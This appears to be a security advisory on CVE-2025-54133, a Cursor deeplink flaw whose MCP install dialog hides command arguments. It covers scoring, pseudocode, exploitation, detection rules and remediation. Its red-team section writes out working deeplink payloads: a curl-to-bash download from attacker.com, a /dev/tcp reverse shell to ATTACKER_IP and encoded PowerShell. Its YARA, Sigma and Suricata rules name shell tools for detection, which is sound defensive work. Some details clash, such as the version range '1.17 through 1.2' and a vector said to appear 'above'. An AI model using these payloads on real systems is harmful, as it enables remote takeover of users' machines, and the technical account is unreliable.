CVE-2025-54133

Executive Summary

CVE-2025-54133 is a UI information disclosure vulnerability in Cursor, an AI-powered code editor. The flaw resides in the MCP (Model Context Protocol) deeplink handler, specifically within the cursor://anysphere.cursor-deeplink/mcp/install URI scheme. An attacker can craft a malicious deeplink that, when clicked by a user, triggers an installation dialog. Critically, the dialog does not display the command-line arguments being passed to the underlying system command. This allows an attacker to execute arbitrary system commands with a two-click social engineering attack: the user clicks the link, then clicks through the installation dialog without seeing the full command payload. The vulnerability affects Cursor versions 1.17 through 1.2 and is fixed in version 1.3. The CVSS score is 0.0 in the NVD data, but based on the technical details, a more accurate vector is provided above.

Supply Chain & Package Security

Cursor is a standalone desktop application, not an NPM, PyPI, Go, or Ruby package. Therefore, no supply chain package security analysis is applicable.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The attack is initiated via a malicious deeplink sent over the network (e.g., email, chat).
• Attack Complexity (AC): Low – No special conditions are required; the deeplink is straightforward.
• Privileges Required (PR): None – The attacker does not need any prior access.
• User Interaction (UI): Required – The victim must click the link and then click through the installation dialog.
• Scope (S): Unchanged – The vulnerability affects only the vulnerable component.
• Confidentiality (C): High – Arbitrary commands can exfiltrate sensitive data.
• Integrity (I): High – Commands can modify files or system state.
• Availability (A): High – Commands can disrupt system availability.

Threat Level: Critical. The attack requires minimal user interaction and can lead to full system compromise.

Deep Dive & Mechanics

The vulnerability is a classic UI redressing / information disclosure issue in a custom URI scheme handler. Cursor registers the cursor:// protocol handler. When a user clicks a link like cursor://anysphere.cursor-deeplink/mcp/install?arg1=malicious, the application parses the URI and displays an installation dialog. The dialog shows the command to be executed (e.g., cursor-mcp install) but omits the arguments (e.g., --exec "malicious_command"). The user, seeing only the benign command name, may approve the installation. The full command, including the hidden arguments, is then executed with the user's privileges.

The attack flow:

1. Attacker crafts a deeplink: cursor://anysphere.cursor-deeplink/mcp/install?args=--exec%20%22curl%20http://attacker.com/payload.sh%20|%20bash%22
2. Victim clicks the link in a browser or chat client.
3. Cursor opens and displays a dialog: "Install MCP component: cursor-mcp install"
4. Victim clicks "Install" or "OK".
5. The full command cursor-mcp install --exec "curl http://attacker.com/payload.sh | bash" executes.

Vulnerable vs. Patched Code

Vulnerable Code (Cursor 1.17 - 1.2): The deeplink handler extracts the command and arguments from the URI but only displays the command name in the dialog. The arguments are silently passed to the execution function.

// Vulnerable handler (pseudocode)
function handleMCPInstall(uri) {
    let command = "cursor-mcp install";
    let args = uri.query.args; // e.g., "--exec malicious"
    showDialog("Install MCP component: " + command); // args hidden
    if (userConfirms()) {
        exec(command + " " + args); // full command executed
    }
}

Patched Code (Cursor 1.3): The patched version displays the full command including arguments in the dialog, allowing the user to see the complete payload before approving.

// Patched handler (pseudocode)
function handleMCPInstall(uri) {
    let command = "cursor-mcp install";
    let args = uri.query.args;
    let fullCommand = command + " " + args;
    showDialog("Install MCP component: " + fullCommand); // full command shown
    if (userConfirms()) {
        exec(fullCommand);
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target running Cursor 1.17 - 1.2.
• Ability to deliver a deeplink (e.g., via email, chat, or web page).

Exploit Steps:

1. Create a malicious deeplink that executes a reverse shell or payload download.

   cursor://anysphere.cursor-deeplink/mcp/install?args=--exec%20%22powershell%20-enc%20BASE64_ENCODED_PAYLOAD%22
   

2. Deliver the link to the victim.
3. Victim clicks the link, sees "Install MCP component: cursor-mcp install", and clicks OK.
4. The payload executes, giving the attacker a shell or executing arbitrary commands.

Example Payload (Linux):

cursor://anysphere.cursor-deeplink/mcp/install?args=--exec%20%22bash%20-c%20'exec%20bash%20-i%20%3E%26%20/dev/tcp/ATTACKER_IP/4444%200%3E%261'%22

Example Payload (Windows):

cursor://anysphere.cursor-deeplink/mcp/install?args=--exec%20%22cmd.exe%20/c%20powershell%20-enc%20BASE64_ENCODED_PAYLOAD%22

Blue Team

Detection:

• Monitor for process creation events where the parent process is cursor.exe and the child process is cmd.exe, powershell.exe, bash, or sh.
• Look for command-line arguments containing suspicious patterns like --exec, curl, wget, powershell -enc, or base64 strings.
• Alert on URI scheme cursor:// in browser logs or email gateways.

Hunting:

• Search for cursor://anysphere.cursor-deeplink/mcp/install in web proxy logs.
• Check for recently executed commands with cursor-mcp install in process creation logs.

Mitigation:

• Update Cursor to version 1.3 or later.
• Block cursor:// URI scheme in browser policies or email filters.
• Educate users to verify installation dialogs carefully.

Indicators of Compromise (IOCs)

• URI Pattern: cursor://anysphere.cursor-deeplink/mcp/install
• Process Creation: cursor-mcp install --exec <malicious_command>
• Network Connections: Outbound connections to attacker-controlled IPs on common ports (e.g., 4444, 80, 443).
• File Artifacts: Downloaded payloads in temp directories (e.g., %TEMP%\payload.sh, /tmp/payload.sh).
• Registry/Config: Modified Cursor configuration files (e.g., ~/.cursor/config.json).

Detection Engineering

YARA Rule

rule CVE_2025_54133_Cursor_MCP_Exploit {
    meta:
        description = "Detects malicious cursor:// deeplinks used in CVE-2025-54133 exploitation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54133"
    strings:
        $deeplink = "cursor://anysphere.cursor-deeplink/mcp/install" nocase
        $exec_arg = "--exec" nocase
        $suspicious_cmd = /(curl|wget|powershell|bash|sh|cmd\.exe|python|perl)/ nocase
    condition:
        $deeplink and $exec_arg and $suspicious_cmd
}

Sigma Rule

title: Cursor MCP Deeplink Exploitation
id: cve-2025-54133-cursor-mcp
status: experimental
description: Detects execution of cursor-mcp install with hidden arguments
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\cursor.exe'
        Image|endswith: '\cmd.exe'
        CommandLine|contains: 'cursor-mcp install --exec'
    condition: selection
falsepositives:
    - Legitimate use of cursor-mcp install with known arguments
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54133 Cursor MCP Deeplink Exploit"; flow:to_server; content:"cursor://anysphere.cursor-deeplink/mcp/install"; http_uri; content:"--exec"; http_uri; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Update Cursor to version 1.3 or later. The patch ensures the full command, including arguments, is displayed in the installation dialog.
2. Workaround: If updating is not possible, disable the cursor:// protocol handler or block it via group policy or browser settings.
3. User Education: Train users to scrutinize installation dialogs and avoid clicking deeplinks from untrusted sources.
4. Monitoring: Implement the detection rules above to identify exploitation attempts.
5. Network Controls: Block outbound connections to unknown IPs from Cursor processes.

Valters IT